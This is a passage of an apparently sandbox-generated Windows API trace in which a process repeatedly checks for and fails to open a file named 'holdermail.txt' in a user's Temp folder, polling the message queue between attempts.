	[0089.329] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), fInfoLevelId=0x0, lpFileInformation=0x6bcee08 | out: lpFileInformation=0x6bcee08*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0089.330] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bced88) returned 1
	[0089.330] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce858, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.330] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced4c) returned 1
	[0089.330] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0089.330] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bcdb88) returned 1
	[0089.330] GetCurrentActCtx (in: lphActCtx=0x6bcee04 | out: lphActCtx=0x6bcee04*=0x6dbd24) returned 1
	[0089.331] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6bcedb4 | out: lplpMessageFilter=0x6bcedb4*=0x0) returned 0x0
	[0089.331] PeekMessageW (in: lpMsg=0x6bced88, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6bced88) returned 0
	[0089.331] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce92c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.331] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced8c) returned 1
	[0089.331] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), fInfoLevelId=0x0, lpFileInformation=0x6bcee08 | out: lpFileInformation=0x6bcee08*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0089.331] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bced88) returned 1
	[0089.331] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce858, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.331] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced4c) returned 1
	[0089.331] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0089.332] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bcdb88) returned 1
	[0089.332] GetCurrentActCtx (in: lphActCtx=0x6bcee04 | out: lphActCtx=0x6bcee04*=0x6dbd24) returned 1
	[0089.332] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6bcedb4 | out: lplpMessageFilter=0x6bcedb4*=0x0) returned 0x0
	[0089.332] PeekMessageW (in: lpMsg=0x6bced88, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6bced88) returned 0
	[0089.332] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce92c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.332] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced8c) returned 1
	[0089.332] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), fInfoLevelId=0x0, lpFileInformation=0x6bcee08 | out: lpFileInformation=0x6bcee08*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0089.332] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bced88) returned 1
	[0089.332] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce858, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.332] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced4c) returned 1
	[0089.332] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0089.333] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bcdb88) returned 1
	[0089.333] GetCurrentActCtx (in: lphActCtx=0x6bcee04 | out: lphActCtx=0x6bcee04*=0x6dbd24) returned 1
	[0089.333] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6bcedb4 | out: lplpMessageFilter=0x6bcedb4*=0x0) returned 0x0
	[0089.333] PeekMessageW (in: lpMsg=0x6bced88, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6bced88) returned 0
	[0089.333] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce92c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.333] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced8c) returned 1
	[0089.333] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), fInfoLevelId=0x0, lpFileInformation=0x6bcee08 | out: lpFileInformation=0x6bcee08*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0089.333] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bced88) returned 1
	[0089.333] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce858, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.333] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced4c) returned 1
	[0089.333] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0089.334] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bcdb88) returned 1
	[0089.334] GetCurrentActCtx (in: lphActCtx=0x6bcee04 | out: lphActCtx=0x6bcee04*=0x6dbd24) returned 1
	[0089.334] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6bcedb4 | out: lplpMessageFilter=0x6bcedb4*=0x0) returned 0x0
	[0089.334] PeekMessageW (in: lpMsg=0x6bced88, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6bced88) returned 0
	[0089.334] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce92c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.334] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced8c) returned 1
	[0089.335] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), fInfoLevelId=0x0, lpFileInformation=0x6bcee08 | out: lpFileInformation=0x6bcee08*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0089.335] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bced88) returned 1
	[0089.335] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce858, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.335] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced4c) returned 1
	[0089.335] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0089.335] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bcdb88) returned 1
	[0089.335] GetCurrentActCtx (in: lphActCtx=0x6bcee04 | out: lphActCtx=0x6bcee04*=0x6dbd24) returned 1
	[0089.336] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6bcedb4 | out: lplpMessageFilter=0x6bcedb4*=0x0) returned 0x0
	[0089.336] PeekMessageW (in: lpMsg=0x6bced88, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6bced88) returned 0
	[0089.336] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce92c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.336] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced8c) returned 1
	[0089.336] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), fInfoLevelId=0x0, lpFileInformation=0x6bcee08 | out: lpFileInformation=0x6bcee08*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0089.336] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bced88) returned 1
	[0089.336] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce858, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.336] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced4c) returned 1
	[0089.336] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0089.337] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bcdb88) returned 1
	[0089.337] GetCurrentActCtx (in: lphActCtx=0x6bcee04 | out: lphActCtx=0x6bcee04*=0x6dbd24) returned 1
	[0089.337] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6bcedb4 | out: lplpMessageFilter=0x6bcedb4*=0x0) returned 0x0
	[0089.337] PeekMessageW (in: lpMsg=0x6bced88, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6bced88) returned 0
	[0089.337] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce92c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.337] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced8c) returned 1
	[0089.337] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), fInfoLevelId=0x0, lpFileInformation=0x6bcee08 | out: lpFileInformation=0x6bcee08*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0089.337] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bced88) returned 1
	[0089.337] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce858, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.337] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced4c) returned 1
	[0089.337] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0089.338] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bcdb88) returned 1
	[0089.338] GetCurrentActCtx (in: lphActCtx=0x6bcee04 | out: lphActCtx=0x6bcee04*=0x6dbd24) returned 1
	[0089.338] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6bcedb4 | out: lplpMessageFilter=0x6bcedb4*=0x0) returned 0x0
	[0089.338] PeekMessageW (in: lpMsg=0x6bced88, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6bced88) returned 0
	[0089.338] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce92c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.338] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced8c) returned 1
	[0089.338] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), fInfoLevelId=0x0, lpFileInformation=0x6bcee08 | out: lpFileInformation=0x6bcee08*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0089.338] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bced88) returned 1
	[0089.338] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce858, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.339] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced4c) returned 1
	[0089.339] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0089.339] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bcdb88) returned 1
	[0089.339] GetCurrentActCtx (in: lphActCtx=0x6bcee04 | out: lphActCtx=0x6bcee04*=0x6dbd24) returned 1
	[0089.339] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6bcedb4 | out: lplpMessageFilter=0x6bcedb4*=0x0) returned 0x0
	[0089.339] PeekMessageW (in: lpMsg=0x6bced88, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6bced88) returned 0
	[0089.340] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce92c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.340] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced8c) returned 1
	[0089.340] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), fInfoLevelId=0x0, lpFileInformation=0x6bcee08 | out: lpFileInformation=0x6bcee08*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0089.340] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bced88) returned 1
	[0089.340] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce858, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.340] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced4c) returned 1
	[0089.340] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0089.341] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bcdb88) returned 1
	[0089.341] GetCurrentActCtx (in: lphActCtx=0x6bcee04 | out: lphActCtx=0x6bcee04*=0x6dbd24) returned 1
	[0089.341] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6bcedb4 | out: lplpMessageFilter=0x6bcedb4*=0x0) returned 0x0
	[0089.341] PeekMessageW (in: lpMsg=0x6bced88, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6bced88) returned 0
	[0089.341] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce92c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.341] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced8c) returned 1
	[0089.341] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), fInfoLevelId=0x0, lpFileInformation=0x6bcee08 | out: lpFileInformation=0x6bcee08*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0089.341] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bced88) returned 1
	[0089.341] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce858, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.341] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced4c) returned 1
	[0089.341] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0089.342] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bcdb88) returned 1
	[0089.342] GetCurrentActCtx (in: lphActCtx=0x6bcee04 | out: lphActCtx=0x6bcee04*=0x6dbd24) returned 1
	[0089.342] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6bcedb4 | out: lplpMessageFilter=0x6bcedb4*=0x0) returned 0x0
	[0089.342] PeekMessageW (in: lpMsg=0x6bced88, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6bced88) returned 0
	[0089.342] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce92c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.342] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced8c) returned 1
	[0089.342] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), fInfoLevelId=0x0, lpFileInformation=0x6bcee08 | out: lpFileInformation=0x6bcee08*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0089.342] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bced88) returned 1
	[0089.342] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce858, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.342] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced4c) returned 1
	[0089.342] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0089.343] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bcdb88) returned 1
	[0089.343] GetCurrentActCtx (in: lphActCtx=0x6bcee04 | out: lphActCtx=0x6bcee04*=0x6dbd24) returned 1
	[0089.343] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6bcedb4 | out: lplpMessageFilter=0x6bcedb4*=0x0) returned 0x0
	[0089.343] PeekMessageW (in: lpMsg=0x6bced88, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6bced88) returned 0
	[0089.343] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce92c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.343] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced8c) returned 1
	[0089.344] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), fInfoLevelId=0x0, lpFileInformation=0x6bcee08 | out: lpFileInformation=0x6bcee08*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0089.344] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bced88) returned 1
